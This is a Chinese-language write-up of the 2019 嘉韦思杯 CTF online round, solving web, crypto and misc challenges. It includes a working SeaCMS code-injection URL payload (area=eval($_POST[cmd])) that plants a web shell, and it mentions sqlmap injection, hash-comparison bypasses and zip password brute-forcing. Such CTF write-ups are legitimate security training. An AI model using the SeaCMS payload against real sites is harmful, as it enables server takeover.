2019嘉韦思杯线上赛wp

周六做了一下嘉韦思杯,题目很入门,这里记录一下,太久没碰RE就没做了(其实是不会)

作战计划

根据题目是seacms,百度一下seacms的漏洞,找到这么一篇文章

https://www.cnblogs.com/leixiao-/p/9786034.html

根据文章中的描述,构造如下payload

http://47.103.43.235:84/search.php?searchtype=5&tid=&area=eval($_POST[cmd])

用蚁剑链接,在服务器根目录下发现flag

2.jpg

土肥原贤二

很简单的题目,用sqlmap就可以跑出来

3.jpg

4.jpg

5.jpg

6.jpg

吴佩孚

base64解密链接中字符串,得到一串jsfuck,在浏览器执行即可得到flag

7.jpg

日军空袭

这应该是一串不全的base64代码,解密过程中报了一次错,然后站点自动补了一段字符串

8.jpg

经过几次解密

得到

fB__l621a4h4g_ai{&i}

栅栏解密即可

9.jpg

飞虎队

题目是希尔加密

在网上搜索很久

找到了下面的站点

http://2-dreamfever.lofter.com/post/1d226cf1_748daf4

惊喜的是里面的矩阵和题目中的一样

照着他的思路我们把密文转成数字

a=0,b=1,c=2,d=3…

解密矩阵

8  16  27

8  99  24

27 24  27

矩阵为3*3 所以将密文3个分为一组 去乘解密矩阵然后mod(26)

得到

hillisflagxx

戴星炳

上脚本

import re
import requests
s = requests.Session()
url = 'http://47.103.43.235:82/web/a/index.php'
r = s.get(url)
#r.encoding = 'utf-8'
print(r.text)
shi = re.compile('</p><p>(.*?)</p>',re.S)
num = re.findall(shi, r.text)
print(num)
#print ('result:\n\n%s=%d\n' % (num, eval(num)))
#r = s.post(url, data={'result': eval(num[0])})
#print (r.text)
numstr = ""

result = eval(num[0])
print(result)

html = s.post(url,data={'result':result})
print(html.text)

10.jpg

大美晚报

扫描二维码,没发现有用的信息

11.jpg

winhex打开,在末尾发现zip数据段,提取出来

根据提示QQ号,暴力破解压缩包密码

13‘.jpg

打开即可获得flag

池步洲

打开题目,查看源码,发现index.phps

14.jpg

下载后

15.jpg

两个字符串不同但是sha1值要相同,这里可以用数组绕过

16.jpg

袁殊

基础的RSA,用RSAtools跑一下就出来了

17.jpg

晴气庆胤

打开题目查看源码,发现了如下代码

18.jpg

MD5碰撞的题目,网上有现成的整理的payload

https://www.cnblogs.com/zaqzzz/p/10029887.html

潘汉年

19.jpg

题目是这样的

然后提示flag格式,说明flag{和密文的前五位是对应的

转换一下密文和flag{的ascii码对应的数值

脚本:

a = "bg[`s"
b = "flag{"
a = list(a)
b = list(b)

for i in b:
    print(ord(i))
print('\n\n')
for e in a:
    print(ord(e))

20.jpg

可以看到他们ascii码对应数值的差是递增的4,5,6,7……

这样题目就清晰了,解密flag脚本如下

a = "bg[`sZ*Zg'dPfP`VM_SXVd"
a = list(a)
temp = 4
flag = ""
for i in a:
    print(ord(i))
    result = ord(i)+temp
    temp = temp+1
    flag = flag + chr(result)
print(flag)

21.jpg

总结

可能是是第一届的原因吧,主办方或许有的地方经验还不太够,但是也能看出主办方是花了一些心思的,尤其是UI好评,也希望他们越办越好。